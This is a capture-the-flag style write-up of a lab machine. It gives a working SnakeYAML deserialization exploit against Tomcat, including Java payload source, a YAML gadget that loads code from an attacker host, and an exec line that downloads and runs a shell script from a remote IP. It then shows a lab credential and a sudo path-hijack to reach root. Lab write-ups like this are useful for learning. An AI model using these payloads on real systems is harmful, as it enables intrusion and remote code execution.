Skip to content

Instantly share code, notes, and snippets.

@0xEmbo
Created Aug 13, 2021
Embed
What would you like to do?

Foothold

10.10.10.227

Nmap scan report for 10.10.10.227 (10.10.10.227)
Host is up (0.32s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.18 seconds

Port 8080

Apache Tomcat 9.0.38 ![[Pasted image 20210620083433.png]] YAML parser functionality Maybe YAML Deserilization => RCE?

Tried inserting normal YAML and got an error. ![[Pasted image 20210620083638.png]]

I think showing an error doesn't mean that the YAML data is already being parsed on the server.

From this blog https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858

So lets try blind injection with

!!javax.script.ScriptEngineManager [  
  !!java.net.URLClassLoader [[  
    !!java.net.URL ["http://attacker-ip/"]  
  ]]  
]

Got the same error, but looking at my python server i got a hit. ![[Pasted image 20210620083939.png]]

POC

yaml/exploit.java

package yaml;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
                                             
public class exploit implements ScriptEngineFactory {                                
    public exploit() {
        try {
            Runtime.getRuntime().exec("ping -c 2 10.10.16.5");               
        } catch (IOException e) {
            e.printStackTrace();
        }
    }                           
    @Override       
    public String getEngineName() {
        return null;
    }                           
    @Override       
    public String getEngineVersion() {
        return null;
    }                                                 
    @Override       
    public List<String> getExtensions() {
        return null;
    }
	@Override 
    public List<String> getMimeTypes() { 
        return null;
    }                                        
    @Override                       
    public List<String> getNames() {                     
        return null;                                       
    }                                        
    @Override 
    public String getLanguageName() {      
        return null;
    }                     
    @Override
    public String getLanguageVersion() {     
        return null;             
    }                                        
    @Override         
    public Object getParameter(String key) { 
        return null;                                                                      
    }                                        
    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;             
    }                                        
    @Override
    public String getOutputStatement(String toDisplay) {                                  
        return null;
    }                                        
    @Override
    public String getProgram(String... statements) {                                      
        return null;
    }                                        
    @Override
    public ScriptEngine getScriptEngine() {  
        return null;
    }  
}

Compile it with javac yaml/exploit.java

META-INF/services/javax.script.ScriptEngineFactory

yaml.exploit

Now inject the same YAML data again and capture for icmp packets, and it runs successfully. Got ICMP request successfully ![[Pasted image 20210620100754.png]]

Now lets get a shell on the box!

Gaining Access

Edit exploit.java and add the following

public exploit() {
	try {
		Runtime.getRuntime().exec("wget http://10.10.16.5:8000/embo.sh -w /tmp/embo.sh");
		Runtime.getRuntime().exec("bash /tmp/embo.sh");    
	}

And recompile it again with javac yaml/exploit.java Now inject the same YAML data again and we get a shell on the box as "tomcat"!

Privilege Escalation

Basic enumeration we get

<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

![[Pasted image 20210620113244.png]]

Trying SSH with (admin:whythereisalimit) and we are now user "admin".

Getting root

We can run /usr/bin/go run /opt/wasm-functions/index.go with root privileges. ![[Pasted image 20210621114301.png]]

Reading the index.go file we see that it reads "main.wasm" and executing "deploy.sh" without typing the full path, so it can be exploited by copying the files to a different directory. Also it checks for the value of variable "f".

  • If "f" !=1 ==> "Not ready to deploy"
  • If "f" == 1 ==> "Ready to deploy" and executes the "deploy.sh" file. ![[Pasted image 20210621114433.png]]

Also the current directory matters when running go application.

So we need to copy "deploy.sh" and "main.wasm" to another directory to modify them.

There is a tool that converts wasm <==> wat (https://github.com/WebAssembly/wabt)

  • wat2wasm: translate from WebAssembly text format to the WebAssembly binary format.
  • wasm2wat: the inverse of wat2wasm, translate from the binary format back to the text format (also known as a .wat).

Lets convert "main.wasm" to a readable format and change the value of "f" to 1. ./wasm2wat main.wasm -o main.wat Change i32.const from 0 to 1 and save the file. ![[Pasted image 20210621120806.png]]

Now lets convert main.wat to main.wasm again. mv main.wasm main.wasm.bak ./wasm2wat main.wat -o main.wasm chmod +x main.wasm deploy.sh Edit "deploy.sh" and add echo $(id); ![[Pasted image 20210621121211.png]]

Lets run sudo /usr/bin/go run /opt/wasm-functions/index.go from current directory. It successfully executed our "deploy.sh" file. ![[Pasted image 20210621121238.png]]

Now comes the exploitation

Lets modify the "deploy.sh" to give us a root shell instead of echoing the id. ![[Pasted image 20210621123149.png]]

Finally got a shell! ![[Pasted image 20210621123054.png]]

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment